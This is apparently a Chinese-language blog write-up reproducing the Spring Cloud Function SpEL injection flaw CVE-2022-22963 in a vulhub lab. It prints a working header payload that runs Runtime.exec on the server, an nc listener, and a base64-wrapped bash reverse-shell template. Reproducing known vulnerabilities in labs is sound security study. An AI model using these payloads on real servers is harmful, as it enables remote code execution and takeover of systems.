Spring Cloud Function 远程代码执行漏洞 CVE-2022-22963
影响范围
- Spring Cloud Function 3.0.0 - 3.1.6
- Spring Cloud Function 3.2.0 - 3.2.2
漏洞类型
SpEL 表达式注入
操作系统限制
无
配置要求
默认配置
漏洞利用
命令执行,进行反弹 shell,写入木马
利用原理
Spring Cloud Function 引入 RoutingFunction 功能,允许开发者根据特定条件动态将请求分发给不同函数执行,框架允许通过 HTTP Header 来指定路由逻辑。当请求到达时,RoutingFunction 会检查是否存在特定 HTTP 请求头:spring.cloud.function.routing-expression,如果存在该 Header,框架会将其值作为 SpEL 表达式处理,攻击者可以构造恶意 payload 注入到 spring.cloud.function.routing-expression 属性值,服务器处理 POST 请求时候,识别到恶意 payload 就会触发解析,执行恶意命令。POST 请求主体不能为空,若为空,Spring 的 MessageConverter 可能不会触发后续参数绑定和路由解析流程
漏洞复现
现成的 vulhub 来拉取镜像
1 | #下载vulhub源代码 |

用 burpsuite 抓取 http://公网: 8080/uppercase 数据包

发送到 Repeater 模块

修改请求类型为 POST,路径改为/functionRouter,将内容类型改为 Content-Type: text/plain,并在内容类型上一行注入恶意代码,创建 /tmp/success,还要在请求主体写入数据,这里填 test
1 | spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success") |

返回 500

进入容器查看文件夹 tmp,发现 success 文件,说明成功执行敏感命令

下面尝试进行反弹 shell,开启监听,nc -lvvp 7777

将下面命令替换到原 payload 的 touch /tmp/success
1 | bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i} |

连接成功,虽然不稳定

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Johan的秘密小窝!
评论